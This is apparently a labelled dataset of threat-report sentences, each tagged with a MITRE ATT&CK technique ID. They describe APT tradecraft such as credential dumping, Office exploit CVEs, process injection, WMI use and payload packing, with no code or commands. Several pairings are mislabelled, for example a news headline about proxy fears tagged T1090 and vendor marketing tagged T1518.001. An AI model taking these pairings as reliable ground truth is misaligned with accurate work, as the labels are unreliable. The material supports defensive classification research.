Threat description: Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm
MITRE ATT&CK techniques:
T1573
Threat description: The AES key is unique for each communication and is encrypted with one of two RSA public keys
MITRE ATT&CK techniques:
T1573
Threat description: One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server
MITRE ATT&CK techniques:
T1102
Threat description: The tool would connect to the SQL SharePoint database and issue a query to dump all data from the database to a temporary file affixed with 'spdata'
MITRE ATT&CK techniques:
T1003
Threat description: The information contained in this data dump include:  Stolen credentials Potential systems to login to using stolen credentials Deployed webshell URLs Backdoor tools Command and control server component of backdoor tools Scripts to perform DNS hijacking Documents identifying specific individual operators Screenshots of OilRig operational systems  The Leak In mid-March 2019, an unknown entity appeared on several hacking forums and Twitter with the user handle @Mr_L4nnist3r claiming they had access to data dumps involving internal tools and data used by the OilRig group
MITRE ATT&CK techniques:
T1003
Threat description: The credentials appear to have been stolen via multiple techniques, including using post-exploition password recovery tools such as MimiKatz or its variant ZhuMimiKatz
MITRE ATT&CK techniques:
T1003
Threat description: In addition to these tools, we believe OilRig attackers obtained credentials through, bruteforcing, SQL injections, and using traditional credential harvesting toolkits as we discussed in the Striking Oil blog published in September 2017
MITRE ATT&CK techniques:
T1003
Threat description: We are unable to confirm if all of these stolen credentials are indeed valid sets of credentials, but based upon previously observed activity, timestamping, and known behaviors, it is highly probable that these credentials were or may still be valid
MITRE ATT&CK techniques:
T1003
Threat description: Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer
MITRE ATT&CK techniques:
T1003
Threat description: Also, the use of the  mimikatz and pwdump tools suggests the adversary attempts to dump credentials on compromised systems
MITRE ATT&CK techniques:
T1003
Threat description: DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices
MITRE ATT&CK techniques:
T1083
Threat description: Command Description   !Dir Lists the contents of a specified directory   !Drives Enumerates the storage drives attached to the system and their respective type
MITRE ATT&CK techniques:
T1083
Threat description: The dropped files are either in the root of the “ProgramData” folder or in a subdirectory
MITRE ATT&CK techniques:
T1083
Threat description: Figure 7: Property list file in LaunchAgents directory To camouflage the location of the malicious file, Keydnap replaces argv[0] with /usr/libexec/icloudsyncd –launchd netlogon.bundle
MITRE ATT&CK techniques:
T1083
Threat description: .iqy files are simple text files containing a URL which are opened by default by Excel
MITRE ATT&CK techniques:
T1083
Threat description: These platforms may not be well maintained and may break intermittently
MITRE ATT&CK techniques:
T1083
Threat description: Open directory listing of hxxp://stevemike-fireforce[.]info/ Based on the contents and structure of the initial identified open directories, it was possible to find several infrastructure patterns in use
MITRE ATT&CK techniques:
T1083
Threat description: Figure 2: Zyklon attack flow Infection Techniques CVE-2017-8759 This vulnerability was discovered by FireEye in September 2017, and it is a vulnerability we have observed being exploited in the wild
MITRE ATT&CK techniques:
T1203
Threat description: Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious “scriptlet” file, or .sct file, which is also embedded in the malicious RTF document
MITRE ATT&CK techniques:
T1203
Threat description: Attack chain of Tropic Trooper’s operations Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:  Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office’s Equation Editor (EQNEDT32.EXE)
MITRE ATT&CK techniques:
T1203
Threat description: The attack involved the new HAWKBALL backdoor being delivered via well-known Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802.
MITRE ATT&CK techniques:
T1203
Threat description: The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113
MITRE ATT&CK techniques:
T1068
Threat description: Organizations that Buckeye targeted over time, per region Malware and tools Buckeye uses a number of hacking tools as well as malware
MITRE ATT&CK techniques:
T1518.001
Threat description: This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques
MITRE ATT&CK techniques:
T1518.001
Threat description: Keep security software up-to-date with the latest definitions  Protection Norton Security, Symantec Endpoint Protection, and other Symantec security products protect users against these threats through the following detections: AV  Backdoor.Cadelspy Backdoor.Remexi Backdoor.Remexi.B  IPS  System Infected: Backdoor.Cadelspy Activity 2 System Infected: Backdoor.Remexi Activity  Indicators of compromise We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment
MITRE ATT&CK techniques:
T1518.001
Threat description: Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint
MITRE ATT&CK techniques:
T1518.001
Threat description: [9] “HKU concern group raises proxy fears in key vote.” EIJ Insight
MITRE ATT&CK techniques:
T1090
Threat description: In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment
MITRE ATT&CK techniques:
T1021.001
Threat description: APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration
MITRE ATT&CK techniques:
T1560
Threat description: The results are Gzipped and saved under random file in the temp folder.
MITRE ATT&CK techniques:
T1560
Threat description: TG-3390 attempts to reenter the environment by identifying accounts that do not require two-factor authentication for remote access solutions, and then brute forcing usernames and passwords
MITRE ATT&CK techniques:
T1110
Threat description: This version injects a malicious module into one of Avast's processes, whereas early versions of the campaign detected Avast and quit
MITRE ATT&CK techniques:
T1055
Threat description: Injects ma32.dll into “wwahost.exe” or “audacity.exe”
MITRE ATT&CK techniques:
T1055
Threat description: FakeRun’s PDB string (D:\Work\Project\VS\house\Apple\Apple_20180115\Release\FakeRun.pdb) indicates the loader will execute dllhost.exe and inject one malicious DLL file, which is the backdoor, into this process
MITRE ATT&CK techniques:
T1055
Threat description: 20 New processes The malicious svchost constantly queries ieframe.dll, as well as IWebBrowser2 Interface using CLSID dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e, both key components to interact with Internet Explorer
MITRE ATT&CK techniques:
T1055
Threat description: The encoded payload was a Cobalt Strike httpsstager that was injected into the PowerShell process that ran the command
MITRE ATT&CK techniques:
T1055
Threat description: After finding the process id, the shellcode uses standard functions to allocate and write memory within Explorer and then uses low-level API RtlCreateUserThread for thread injection.
MITRE ATT&CK techniques:
T1055
Threat description: Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information
MITRE ATT&CK techniques:
T1047
Threat description: Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding
MITRE ATT&CK techniques:
T1047
Threat description: This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query
MITRE ATT&CK techniques:
T1047
Threat description: Perhaps they plan to pair this stealer with another dropper that maintains the WMI anti-AV functionality
MITRE ATT&CK techniques:
T1047
Threat description: FeedBack.php validates the sender by User-Agent, saves the data in the “RAR” server directory and stores the metadata in the mssql database for later reference
MITRE ATT&CK techniques:
T1074
Threat description: On the next step this file is executed by rundll32.exe via the KlpSvc export
MITRE ATT&CK techniques:
T1218.011
Threat description: 19-1 regsvr32 running the .dlls  Fig
MITRE ATT&CK techniques:
T1218.010
Threat description: It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind
MITRE ATT&CK techniques:
T1027.002
Threat description: An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed
MITRE ATT&CK techniques:
T1027.002